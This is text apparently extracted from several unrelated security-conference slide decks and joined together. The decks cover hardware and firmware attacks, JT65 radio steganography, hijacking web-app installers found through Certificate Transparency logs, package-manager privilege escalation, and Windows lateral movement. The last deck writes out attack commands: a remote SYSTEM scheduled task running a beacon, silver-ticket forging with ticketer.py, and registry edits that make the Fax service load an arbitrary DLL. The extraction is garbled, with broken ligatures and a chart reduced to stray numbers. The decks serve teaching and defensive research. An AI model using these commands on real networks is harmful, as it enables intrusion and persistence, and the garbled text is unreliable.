 Another  way  to  get  around  lockouts  and  fuses  is  to  “erase”  the  device,  but power  it  off  immediately  aUer  the  command  is  issued  (milliseconds) •  This  can  reveal  the  contents  of  the  flash  memory  if  done  correctly •  You  can  do  this  with  an  Arduino  in  a  lot  of  cases  with  a  liOle  custom  soUware –  ParDal  powering  of  the  device •  Some  devices  will  draw  power  from  several  pins  (like  large  QFP  or  BGA  components) •  By  severing  or  regulaDng  some  of  those  power  leads,  you  can  cause  chips  to  misbehave •  SomeDmes  it’s  possible  to  confuse  the  chip,  but  make  it  responsive  to  the  debugging interface –  BoOom  line,  chips  are  fragile  to  power  fluctuaDons,  but  there  have  been  huge improvements  over  the  past  few  years. SoUware  AOacks •  Can  the  device’s  soUware  be  updated? –  Check  the  website –  If  there’s  a  soUware  update,  download  it  and  see  if you  can  deconstruct  it  (lots  of  info  in  here) –  If  you  find  a  binary  package  (like  a  CAB)  you  may  have found  the  firmware –  Some  vendors  like  to  “encrypt”  their  updates.  Most  of the  Dme  this  a  VERY  weak  system  like  XOR  or  XOR +/-­‐1 –  In  most  cases  unless  it’s  a  “secure”  device,  more companies  are  concerned  with  IP  leak  than  the security  of  the  device SoUware  AOack •  IdenDfying  the  firmware •  Each  device  has  it’s  own  way  to  structure soUware •  Every  Device  is  Unique,  just  like  all  the  others J! SoUware  AOack ARM: – Loader  tables –  These  represent  a  20  byte  loader  row  that  tells  the  program  on the  MPU  how  to  load  an  overlay  into  memory  on  the  chip  since the  main  chip  doesn’t  have  enough  memory  to  hold  it  all  at once.  (Hint,  the  addresses  are  three  bytes  long!) SoUware  AOack •  MSP430 –  NoDce  the  vector  table  at  the  0x0000  addresses –  seg000:0000FFE0  .short  0F852h –  seg000:0000FFE2  .short  0F852h –  seg000:0000FFE4  .short  0F852h –  seg000:0000FFE6  .short  0F852h –  seg000:0000FFE8  .short  0F852h –  seg000:0000FFEA  .short  0F852h –  seg000:0000FFEC  .short  0F852h –  seg000:0000FFEE  .short  0F852h –  seg000:0000FFF0  .short  0F852h –  seg000:0000FFF2  .short  0F852h –  seg000:0000FFF4  .short  0F956h –  seg000:0000FFF6  .short  0F852h –  seg000:0000FFF8  .short  0F852h –  seg000:0000FFFA  .short  0F852h –  seg000:0000FFFC  .short  0F852h –  seg000:0000FFFE  .short  0F800h SoUware  AOack •  AVR –  Again,  a  vector  table  to  define  what  happens  to  the  component  upon  events  like  restart,  Dmer  interrupt,  etc. –  ROM:0000  TWSI__0:  ;  CODE  XREF:  TWSI_j –  ROM:0000  jmp  __RESET  ;  External  Pin,  Power-­‐on  Reset,  Brown-­‐out  Reset  and  Watchdog Reset –  ROM:0000  ;  End  of  funcDon  TWSI__0 –  ROM:0000 –  ROM:0002  ;  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ –  ROM:0002  .org  2 –  ROM:0002  jmp  TWSI_  ;  2-­‐wire  Serial  Interface –  ROM:0004  ;  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ –  ROM:0004  .org  4 –  ROM:0004  jmp  TWSI_  ;  2-­‐wire  Serial  Interface –  ROM:0006  ;  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ –  ROM:0006  .org  6 –  ROM:0006  jmp  TWSI_  ;  2-­‐wire  Serial  Interface –  ROM:0008  ;  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ –  ROM:0008  .org  8 –  ROM:0008  jmp  TWSI_  ;  2-­‐wire  Serial  Interface –  ROM:000A  ;  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ –  ROM:000A  .org  0xA –  ROM:000A  jmp  TWSI_  ;  2-­‐wire  Serial  Interface SoUware  AOack •  Xilinx  FPGA –  Xilinx  bit  stream ----------Bitstream Header---------- Design Name: Unknown Part Name: 2vp50 Date: Unknown Time: Unknown -------------End Header------------- ----------Begin Bitstream----------- ffffffff - Dummy Word aa995566 - Sync Word 30008001 - CMD 00000007 - CMD: Reset CRC 30016001 - FLR 000000e1 30012001 - COR 00043fe5 3001c001 - IDCODE 0129e093 3000c001 - MASK Type I 00000000 30008001 - CMD 00000009 - CMD: Switch CCLK Frequency 30002001 - FAR 00000000 - MJA: 0 MNA: 0 30008001 - CMD 00000001 - CMD: Write Configuration 30004000 - FDRI Type II 500910ea - Length: 594154 words (2629 frames) 00800000 - BA: 0 MJA: 0 MNA: 0 Word: 0 (GCLK) 00000140 - BA: 0 MJA: 0 MNA: 0 Word: 1 (GCLK) –  Much  Thanks  to  Casey  Morford  and  is  work  on  dynamic  reconfiguraDon  of  Xilinix  chips SoUware  AOack •  Determining  other  chips  structures –  Most  have  different  version  of  embedded  compilers  and RTOS  (Real  Time  OperaDng  Systems) –  Each  one  has  its  own  “markers”  in  the  binary  image –  The  Code  Sorcery  (now  Mentor  Graphics)  compilers  and linkers  address  overlaying  code  in  a  parDcular  way –  Keil  SoUware’s  compilers  also  have  a  number  of  markers  in their  loader  and  vector  handling  code –  Many  devs  will  start  with  manufacture  provided  code samples  (we  do),  which  makes  it  easier  to  idenDfy –  Look  at  the  order  of  addresses,  segment  numbers,  and flags SoUware  AOack •  Each  device  has  its  own  mechanism  for  updates –  It  may  be  possible  to  “man  in  the  middle”  a  firmware  update  and obtain  the  decrypted  firmware. –  Some  firmware  may  be  decrypted  on-­‐component. –  If  you  find  a  significant  area  of  a  file  that  is  a  sequence  of  repeaDng characters  (say  4  bytes),  there’s  a  good  bet  that  the  “encrypDon”  your dealing  with  is  simple  XOR  and  that  you’re  looking  at  the  key. –  In  the  same  sense,  if  you  find  a  sizable  area  where  the  values  are incremenDng  or  decremenDng,  you  may  have  found  a  XOR  +n/-­‐n  key. •  If  you  work  the  math  backwards,  you  can  figure  out  the  key,  the  repeat interval,  and  the  progression. •  Determine  the  unit  of  advancement,  the  value  at  the  observed  locaDons,  and the  offset  in  those  units  and  work  it  backwards  to  get  the  key  to  start  with. •  StarDng  Key  =  (  ((known  offset)  –  (start  offset))  /  (size  of  key)  )  *  (Key  at known  offset) •  Roughly.  The  mulDplicaDon  is  confined  to  the  key  size.  Or  you  can  use  a  “for” loop.  J SoUware  AOack •  Each  component  type  (family)  has  its  own  machine language •  ARM  is  not  AVR  is  not  Z80  is  not  x86  is  not  PPC. •  The  operaNonal  codes  (OP  codes)  are  different. •  The  Peripheral  regions  (Input  /  Output  regions)  are different. –  Some  families  may  have  the  same  general  regions,  but  specific addiNons  to  deal  with  addiNonal  I/O  needs  (like  an  ARM  chip  on a  hard  disk  controller). •  Recognizing  these  will  greatly  assist  you  in  analyzing  the security  of  the  device  in  cases  where  you  do  not  know  the type  of  component  you  are  dealing  with  that  runs  the soYware. SoUware  AOack •  Taking  Apart  the  SoUware –  Weapon  of  choice •  IDA  Pro  is  most  reverse  engineer’s  weapon  of  choice. •  It  will  not  always  unless  you  know  something  about  what  you’re  dealing  with. •  Knowing  the  chip’s  layout  and  I/O  peripheral  regions  is  important. •  IDA  Pro  will  ask  you  about  these  if  it  knows  the  processor  in  quesDon. •  Demo –  You  may  need  to  write  soUware  to  extract  porDons  of  the  firmware before  you  run  it  through  IDA  Pro. •  We’re  dealing  with  bare  metal  here  folks! •  Some  hardware  developers  are  quite  invenDve. –  They  will  write  their  own  loader/linker  format  and  no-­‐one  else  in  the  world  (or  their  right mind)  uses  it. •  This  is  where  your  own  reverse  engineering  skill  level  comes  in  to  play. SoUware  AOack •  Methodical  analysis  of  the  hardware  by  debug  interface –  Use  a  JTAG  (or  other  interface)  to  enumerate  interconnecDons on  devices  that  are  otherwise  impossible  (BGA/SMT  with through  holes  under  the  components). –  JTAG  will  allow  the  switching  of  individual  IO  lines  on  and  off –  Build  a  document  about  the  relevant  interconnecDons •  What’s  relevant? •  ConnecDons  from  a  main  processor  unit  (MPU)  to  a  flash  chip. •  ConnecDons  form  the  MPU  to  a  solid  state  or  switching  relay •  ConnecDons  from  the  MPU  to  any  sub-­‐processors. •  ConnecDons  from  the  sub-­‐processors  to  their  controlled  devices. •  Bus  interconnecDons  for  SPI/I2C/CAN/Single-­‐Wire  devices. SoUware  AOack •  IdenDfying  major  modes  of  operaDon •  Usually  are  the  most  basic –  Powered  On –  Standby –  Powered  Off SoUware  AOack •  IdenDfy  major  funcDonal  soUware  groups – Hardware  I/O  rouDnes – Main  program  logic – User  interacDon  rouDnes. – ConfiguraDon  rouDnes. – EncrypDon  rouDnes. SoUware  AOack •  Enumerate  the  device’s  major  funcDonal  states –  Each  type  of  device  will  be  a  bit  different –  An  encrypDon  device  might  have: •  Not  Imprinted  /  Blank •  Provisioned  by  corporate  owner,  ready  for  personalizaDon. •  Personal  Key  generated,  device  in  “secure  mode”,  device  Locked, not  operaDng. •  Personal  Key  generated,  device  in  “secure  mode”,  device  Unlocked and  operaDng. •  Device  Tampered •  Device  needs  provisioning  due  to  CerDficate  expiraDon. •  Device  in  Debug  Mode –  A  simple  device  like  a  “fan  on,  fan  off”  device  might  have: •  Get  packet,  turn  fan  on  or  off Theory •  Theory  of  OperaDon –  Now  that  we  have  a  great  deal  of  informaDon  we  can analyze  it. •  We  know  how  the  device  operates. •  We  know  how  it  gets  input  and  output. •  We  have  a  rough  idea  of  how  it  will  respond  to  various  sDmuli. –  Put  this  into  a  usable  form. •  State  transiDon  and  flow  diagrams  are  helpful  to  visualize  possible points  of  weakness. –  A  summary  lisDng  of  soUware  and  hardware  funcDons. •  List  of  soUware  methods  and  descripDon  beside  each. •  OpenSSL •  List  of  hardware  “transacDon”  on  a  SPI  Flash  ROM. •  Microchip  Diagram Theory •  Test  the  Theory  of  OperaDon – Setup  tests  to  validate  your  theory •  Test  for  confirmaDon  of  funcDon. •  If  you  see  something  unusual,  that’s  a  good  place  to start  looking  for  a  weakness. – THIS  IS  WHERE  YOU  GET  TO  BREAK  STUFF! •  So  go  to  it! Theory •  These  tests  can  be  direct  tests  of  tampering  with informaDon  as  it  flows  in  an  out  of  the  device –  Altering  I/O  states  on  devices –  Changing  the  contents  of  flash  device  or  EEPROM. –  Causing  power  state  changes  (brown  out)  to  reset  fuses  or  cause some  porDon  of  the  device  to  reset,  while  leaving  the  other running  (i.e.  a  MPU  reset  and  a  encrypDon  sub-­‐processor  that’s already  authenDcated). –  Feeding  bad  network  informaDon  into  the  device –  Using  the  TTL  serial  port  to  halt  the  processor  and  cause  Dmeout states  on  I/O  peripheral  devices. –  Changing  device  programming  to  do  abnormal  behaviors  under some  set  of  condiDons. –  AOempt  to  extract  keying  material  from  the  device. –  So  many  variants Theory •  Record  the  Results –  Taking  apart  hardware  and  soUware  is  complex  on  a  good  day. –  Detailed  recording  of  details  as  they  are  noDced  will  make  final analysis  much  easier. •  Record: –  The  parts  on  the  device –  The  interconnecDon  of  major  components –  The  methods  that  the  soUware  uses  to  use  these  components –  A  general  theory  of  operaDon  about  the  device •  Issue  the  Final  Report –  If  this  was  done  to  evaluate  a  device  professionally. »  Put  in  an  execuDve  summary »  A  list  of  tests  preformed »  A  list  of  vulnerabiliDes  located »  Appendices  with  all  the  other  relevant  detail. –  If  not,  go  have  a  beer!  You’ve  earned  it! Methodology  Overview •  Gather  open  source  informaDon  about  the  device  from a  meta-­‐level. •  Open  the  device  up  and  catalog  it. •  Gather  informaDon  about  the  components. •  Examine  component  circuit  net  interconnecDons •  Extract  the  soUware  and  reverse  engineer,  if  possible. •  Form  theory  of  operaDon. •  Test  theory  of  operaDon  by  asserDng  condiDons  and observing  results. •  Document  and  Report  findings! •  Beer. QuesDons?
pdf
Microsoft Passport Yahoo MMORPG MMORPG MMORPG MMORPG 0 5000 10000 15000 20000 25000 30000 35000 40000 02/07 02/10 02/13 02/16 02/19 02/22 02/25 02/28 03/03 03/06 03/09 03/12 03/15 03/18 03/21 03/24 03/27 03/30 04/02 04/05 04/08 04/11 04/14 04/17 04/20 04/23 04/26 04/29 05/02 0 1000 2000 3000 4000 5000 6000 7000 8000 9000 CCU Lock counts 0 1000 2000 3000 4000 5000 6000 7000 8000 9000 02/07 02/10 02/13 02/16 02/19 02/22 02/25 02/28 03/03 03/06 03/09 03/12 03/15 03/18 03/21 03/24 03/27 03/30 04/02 04/05 04/08 04/11 04/14 04/17 04/20 04/23 04/26 04/29 05/02 0 200000 400000 600000 800000 1000000 1200000 1400000 Lock Counts Income ! "!! ! # #$% ! # #&" !% !'%&($' )*#+,-../+0*)- *#1.22+.+*.3/1%4 Traffic Analysis CAPATCHA Signature Based Detection Anti-virus 5 5 56.
pdf
Steganography in Commonly Used HF Radio Protocols @pdogg77 @TheDukeZip pdogg ● Paul / pdogg / @pdogg77 ● Day Job: Security Researcher at Confer Technologies Inc. ● Hobby: Licensed as an amateur radio operator in 1986, ARRL VE ● This is my second trip to DEF CON thedukezip ● Brent / thedukezip / @thedukezip ● Software & Systems Engineer (RF) ● Licensed ham radio op since 2006, ARRL VE Why You Shouldn't Do This And Why We Didn't Do It On The Air FCC Regulations (Title 47 – Part 97) § 97.113 Prohibited transmissions. (a) No amateur station shall transmit: … (4) Music using a phone emission except as specifically provided elsewhere in this section; communications intended to facilitate a criminal act; messages encoded for the purpose of obscuring their meaning, except as otherwise provided herein; obscene or indecent words or language; or false or deceptive messages, signals or identification. How This Project Started... Final Warning Slide... ● Hackers + Drinks = Project ● WANC - We are not cryptographers ● We are not giving cryptographic advice ● You should talk to a cryptographer ● If you are a cryptographer, we welcome your input What? We set out to demonstrate it was possible (or impossible) to create a: ● Low Infrastructure ● Long Range ● Covert ● Point to Point, Broadcast or Mesh ● Short Message Protocol Using existing consumer radio and computer equipment, leveraging a commonly used digital mode Why? ● Avoid censorship ● Avoid spying ● We believe you have the right to communicate without this interference ● You COULD use our method to communicate, OR use similar techniques to create your own method … Or “The Terrorists” No Internet? Amateur radio operators have expertise in this! Amateur Radio ● Many frequency bands reserved for amateur radio operators to communicate ● Voice chat, digital modes... ● Take a multiple choice test to get licensed ● Reminder: The rules say you can't do what we're showing you... AirChat ● Anonymous Lulzlabs ● Encrypted communication in plain sight ● Cool project with a different purpose ● Also breaks the rules Good Steganography / Good OPSEC ● … means hiding well in plain sight. ● Invisible to normal users ● “Plausible deniability” ● Not this → More Like This NOT THIS! Guns == Good! Smartphones == BAD :) Ways to Hide... ● Protocol features (headers, checksums etc) ● Timing or substitution ● Errors ● No “spurious emissions” etc... (against the rules, obvious, very “visible”) ● Candidate Protocol must: … be in widespread common use … have places to hide … be relatively power efficient Need no special hardware or closed software Popular Sound Card Digital Modes ● RTTY – In use on radio since at least the 1920s – Baudot code – 5 bit symbols with a stop and a shift – “mark and space” – Amateurs almost always use a 45 baud version with 170hz carrier shift – Limited character set ● PSK31 etc. – Phase shift keying 31 baud... – Developed by Peter Martinez G3PLX in 1998 – VERY tight protocol - “Varicode” JT65 ● Developed by Joe Taylor – K1JT – 2005 ● Original paper: “The JT65 Communications Protocol” ● Designed for Earth-Moon-Earth communications. Also now widely used for skywave contacts ● Very power efficient ● Structured communication, very low data rate ● Open source implementation JT65 Conversations Some Common HF Ham Freqs: 20m 14.076MHz 15m 21.076MHz 10m 28.076MHz Upper Side Band Some JT65 Technical Details User Message Source Encoding FEC Matrix Interleaving Gray Coding Audio ● JT65 “packet” sliced into 126 .372s intervals – 47.8s ● 1270.5 Hz sync tone - “pseudo-random synchronization vector” ● Symbols - 1270.5 + 2.6917(N+2)m Hz – N is the integral symbol value, 0 ≤ N ≤ 63 – m assumes the values 1, 2, and 4 for JT65 sub-modes A, B, and C Hiding in Reed Solomon Codes ● Exploit error correction! ● Easy/PoC Mode: Shove in some errors... :) (static “key”) ● Medium mode: Shove in errors, add some random cover ● Hard Mode: Encrypt and pack message, add FEC ● Prior Work: Hanzlik, Peter “Steganography in Reed-Solomon Codes”, 2011 Encoding Steganography (Basic) Steg: DEF CON 22 Source Encoding: FEC: Can tolerate 4 errors Hiding Steganography Key: pdogg thedukezip Generate 20 'locations' based on SHA512 Injecting Errors JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Key: pdogg thedukezip Injecting Errors JT65: KB2BBC KA1AAB DD44 JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Key: pdogg thedukezip What About Encryption? ● We have 12 * 6 = 72 bits to play with ● We need 8 bit bytes... ● Well that gives us exactly 9 bytes “Packing” Function Status 1 byte Data 8 bytes 01111000 11110010 10110001 11001001 10000001 00001001 00011001 00101010 10010011 Steganography 12 6-bit symbols 100000 011100 100110 110001 111100 100111 100010 010011 001010 100001 100100 001001 “Status” Byte Status 1 byte ● Track how many total packets in message ● Flags for first / last packet ● Track size for stream ciphers “Status” Byte – Stream Cipher First packet: Middle packets: Last packet: Max size: 64 packets (512 bytes) ● (0x80) | (# of total packets) ● (0x40) | (# of bytes in packet) ● Packet Number First Packet? Last Packet? First? : # of total packets Last? : # of bytes in packet Else : Packet Number 1 bit 1 bit 6 bits “Status” Byte – Block Cipher First packet: Other packets: Max size: 128 packets (1024 bytes) ● (0x80) | (# of total packets) ● Packet Number First Packet? First? : # of total packets Else : Packet Number 1 bit 7 bits Hiding the Status Byte ● We'll talk about analysis in a bit... ● Steganography traffic was trivial to pick out of normal traffic because of this byte :( Perform Bit Swap Status 1 byte Data 8 bytes Steganography 12 6-bit symbols 101110 001100 100110 110001 011100 100011 100000 010011 001010 100001 100101 001001 00111000 01110010 10110001 11001001 10111000 01001001 00011001 00101010 00010011 JT65 Base Layer jt65 bin / lib JT65 Wrapper Layer jt65wrapy.py Libraries jt65stego.py jt65sound.py jt65tool.py jt65analysis.py Tool Demo... “Feed Reader” RasPi Demo... Analysis/Steganalysis ● Defined set of legitimate JT65 packets ● “Known Cover Attack” ● Receive packet → Decode → Encode ● Demodulator provides “probability” or confidence ● Theory: – Packets suspected to contain steganography can be easily distinguished by some quantitative measure Known Cover JT65: KB2BBC KA1AAB DD44 JT65: KB2BBC KA1AAB DD44 Steg: DEF CON 22 Key: pdogg thedukezip Analysis Module Finding Steganography is Easy Finding Steganography is Hard Finding Steganography is Hard Finding Steganography is Hard Interesting Patterns (and a warning) Distance ● Considering we cannot SEND these packets ● Let's pretend we received them (<= 7 errors) ● How far away were the senders? Effectiveness as a World Wide Short Message Protocol How to get it? Oh yeah, it's on your conference DVD too... Available today! “Vulnerabilities” / Known Limitations ● Analysis and Detection – As discussed / other methods ● Transmitter location (foxhunting) – Well studied problem/game by amateurs and TLAs – FCC/DEA/NSA - SANDKEY(1) ● Message Forgery ● Storage / long term cryptographic analysis (1) http://cryptomeorg.siteprotect.net/dea-nsa-sandkey.pdf Conclusions ● Protocols and methods such as those presented can, in theory, provide a platform for short message communications with desirable properties: – Low infrastructure – Long distance – Covert – Plausibly deniable ● Potential for analysis and detection – Especially for well equipped adversaries Next Steps / Further Areas of Study ● Continued Detection / Counter Detection Work ● Cryptographic Improvements ● Enhanced amateur applications ● Useful protocols and networks Ham Exam Crypto & Privacy Village Sunday 12 PM – 3 PM Get an FCC FRN! Exam Cram Session Wireless Village Sunday morning - TBA THANKS! @pdogg77 @TheDukeZip https://www.github.com/pdogg/jt65stego/ Special Thanks @masshackers
pdf
Abusing Certificate Transparency Or how to hack Web Applications before Installation Hanno Böck https://hboeck.de/ 1 HTTPS 2 Certificate Authorities 3 Can we trust Certificate Authorities? 4 No 5 CAs are bad, we need to get rid of them Popular Infosec opinion 6 Reality Nobody has a feasible plan how to replace CAs 7 Improving the CA system 8 Baseline Requirements 9 HTTP Public Key Pinning (HPKP) 10 Certificate Authority Authorization (CAA) 11 Certificate Transparency 12 Public logs 13 CT Details Merkle Hash Trees, Signed Certificate Timestamps (SCT), Signed Tree Head (STH), Precertificates, Monitors, Gossip, ... 14 Certificate logging Next year (April) logging will be required for all certificates 15 Today 16 The CA watchdog Everyone can check logs for suspicious activity 17 18 19 20 https://crt.sh 21 Certificate Transparency is also a data source 22 Feed of new host names 23 Let's talk about something else 24 Web applications 25 Installers 26 No authentication! 27 Old: Google dorking web installers 28 New idea There is a time window between uploading files and completing the installer 29 Remember: We have a feed of newly created host names 30 Attack 31 Monitor CT logs, extract host names 32 Check hosts for common installers 33 If installer found: Install the application 34 Upload a plugin with code execution backdoor 35 Revert installation 36 Database credentials Use external database host 37 Demo 38 Challenges Logged certificates aren't immediately public (around 30 minutes) 39 Optimizations Instead of checking sites once one could check them multiple times 40 Numbers 5000 Wordpress installations within three months. 500 x Joomla, 120 x Nextcloud, 70 x Owncloud. 41 Protection 42 Installers need authentication 43 Challenge Application programmers want easy installations 44 Security tokens Webapp creates token file, user has to read token 45 Vendors Drupal, Typo3, Owncloud ... no reaction 46 Vendors Wordpress, Nextcloud, Serendipity participated in cross-vendor discussion, but no action 47 48 It still allows to create an SQLite database Can this be exploited? 49 50 Whitelisting localhost 51 This was my idea, but I don't like it 52 What can users do? 53 Be fast? 54 Certificate redaction? 55 .htaccess 56 Defending as a user is hard We need fixes from vendors 57 Do attackers already use this? 58 x.x.x.x - - [09/Jul/2017:12:03:03 +0200] "GET / HTTP/1.0" 403 1664 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)" 59 Takeaway Unauthenticated installers are a security risk 60 Takeaway No more secret hostnames 61 Takeaway Certificate Transparency is a valuable data source for attackers and defenders 62 Thanks for listening! Questions? https://hboeck.de/ https://github.com/hannob/ctgrab 63
pdf
The$env:PATH lessTraveledisFull ofEasyPrivilegeEscalationVulns Bio SecurityResearcher/Tester(HarrisCorp) FormerArmyRedTeamOperator OneofthedevelopersofPowerSploit Twitter:@obscuresec Blog:www.obscuresec.com Sucksalotlessnow… Gettingevenbetter… OneGet ChocolateyNuget PSGet Alloftheseutilitiesaregreatfor: Simplifying3rdpartypatching Researchingvulnerabilities CTFbuilders OneGet “OneGet isanewwaytodiscoverandinstall softwarepackagesfromaroundtheweb.” Itletsyou“seamlesslyinstallanduninstall packagesfromoneormorerepositorieswitha singlePowerShellcommand.” OneGet willshipwithPowerShellv5 PointedtoChocolateyRepobydefault https://github.com/OneGet/oneget ChocolateyNuget Packagemanagerandreposerverwithalmost 4milliondownloads Over30contributors Microsoft“supported”opensourceproject https://chocolatey.org/ PSGet SecurityReview Requestedtodoareview StartedwithoneVM Triedtoinstall1800chocolatey packages Wellthere’syourfirstproblem… SecurityReview(continued) Created25Windows7/8VMs Scriptedinstallationacrossthem Still2bluescreensafterrebooting ScriptedsubmittinghashestoVirusTotal 100“new”hashes 31packageswithdetections PrivilegeEscalation Usedtheopportunitytowriteanewtool lookedforcommonprivilegeescalationvulns %PATH%based Filepermissionbased Servicepermissionbased Dllpreloading FoundabunchandcouldtunewiththeVMs Disclosuresucks MostwereapplicationsthatIhadneverheardof RepositoryServers Mustbetrusted Chocolateyrepositoryisthemostpopular Allowscontributionsfromnondevelopers MustbeenabledinOneGet Thepackagemanagersinheritvulnerabilities fromthereposerver ChocolateyPackages The$env:PATH PSv3usesthePATH… Soausercan… Iseewhatyoudidthere… Beforethefix… DemoTime Thanks MattGraeber JoeBialek WillSchroeder WillPeteroy LeeHolmes Manyothers… Questions?
pdf
UNORTHODOX LATERAL MOVEMENT: STEPPING AWAY FROM STANDARD TRADECRAFT > ldapsearch (displayname=Riccardo Ancarani) sAMAccountname: Rancarani displayname: Riccardo Ancarani memberOf: @APTortellini, WithSecure/F-Secure security certifications: who cares really ▪ Lateral Movement is the act of using authentication material to execute code on another host ▪ Ubiquitous in red team engagements and real-life attacks ▪ EDR and well-trained SOCs are making this harder – we must improve ▪ We need to find new techniques to stay on top of our game PREMISE OF THE TALK As we go trough the techniques, we will also classify them using the following metrics: PREMISE OF THE TALK Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC Uploads a Binary on Disk Creates Additional Artefacts Directly connect to create and trigger the task Well known technique – IoC Available Modifies Existing Artefacts on Disk Modifies an Existing Object No Direct Connection Less known technique or Modified Technique None None Unknown Technique This simple and intentionally incomplete traffic light system will help us taking more informed decisions while choosing a lateral movement technique. Examples: PREMISE OF THE TALK Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC Default PsExec Uploads a Binary in ADMIN$ Creates a Service Directly connect to create and trigger the service Well known technique – IoC Available RPC BASED EXECUTION METHODS ▪ Remote Procedure Calls (RPC) is a client-server communication mechanism. ▪ Allows clients to invoke methods on a server. ▪ Used everywhere in Windows. RPC https://specterops.io/assets/resources/RPC_for_Detection_Engineers.pdf In this section we will mostly rely on: ▪ Task Scheduler ▪ Service Control Manager ▪ Remote Registry RPC RPC TASK SCHEDULER Tasks can be created remotely via RPC. The old classic that we should all avoid (BOOOOOORING): beacon> shell schtasks /CREATE /TN code /TR "C:\Windows\beacon.exe" /RU "SYSTEM" /ST 15:33 /S HOST RPC –TASK SCHEDULER Standard task creation is sketchy (like my accent) The approach is straightforward, we either want to: ▪ Replace a binary. See SUNBURST. ▪ Replace the “action” RPC –TASK SCHEDULER https://riccardoancarani.github.io/2021-01-25-random-notes-on-task-scheduler-lateral-movement/ Are among us memes still a thing? TaskShell is a small tool that can help you quickly weaponizing the action swapping: RPC –TASK SCHEDULER https://github.com/RiccardoAncarani/TaskShell Why no DLL hijacks? RPC –TASK SCHEDULER Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC Classic Task Scheduler Execution Uploads a binary on disk Creates a new task Directly connect to create and trigger the task Well known technique TaskShell – Replacing Action None - depends Modifies an existing task Directly connect to create and trigger the task Less known technique TaskShell – Replacing Binary Uploads a binary on disk Does not modify tasks Directly connect to create and trigger the task Less known technique RPC –TASK SCHEDULER Useful telemetry for Task Scheduler: ▪ Task Scheduler Event Log -> Require auditing ▪ Task Scheduler ETW Sensor ▪ Task Scheduler Operational Logs -> Just mirrors the ETW logs RPC –TASK SCHEDULER We can programmatically create scheduled tasks only via remote registry. This will allow us to: ▪ Create tasks without going via the Task Scheduler’s RPC interfaces ▪ Avoid generating ANY Task Scheduler based Windows event (not even ETW telemetry) RPC –TASK SCHEDULER https://labs.f-secure.com/blog/scheduled-task-tampering/ Only SYSTEM can modify those keys. Need Silver Tickets. ticketer.py -nthash [NTLM] -domain-sid S-1-5-21-861978250-176888651-3117036350 -domain isengard.local -dc-ip 192.168.182.132 -extra-sid S-1-5-18 -spn HOST/WIN-FCMCCB17G6U.isengard.local WIN-FCMCCB17G6U$ RPC –TASK SCHEDULER RPC WHAT THE FAX RegisterServiceProviderEx allows the load of an arbitrary DLL after the Fax service restarts. ▪ Not installed on servers by default ▪ Present on Win10 workstations RPC –WHAT THE FAX https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/ MS-FAX/%5bMS-FAX%5d.pdf After a fair amount of trial and error with last0x00, it was possible to find that what the FaxRegisterServiceProvider does is adding a few registry keys: RPC –WHAT THE FAX https://docs.microsoft.com/en-us/windows/win32/api/winfax/ nf-winfax-faxregisterserviceproviderw RPC –WHAT THE FAX # check the status of Fax services.py ./developer:password@192.168.232.135 status -name fax # add the relevant keys reg.py same add -keyName "HKLM\\Software\\Microsoft\\Fax\\Device Providers\\{fdd90a36-8160- 49b5-af34-3843e4c06417}" reg.py same add -keyName "HKLM\\Software\\Microsoft\\Fax\\Device Providers\\{fdd90a36-8160- 49b5-af34-3843e4c06417}" -v 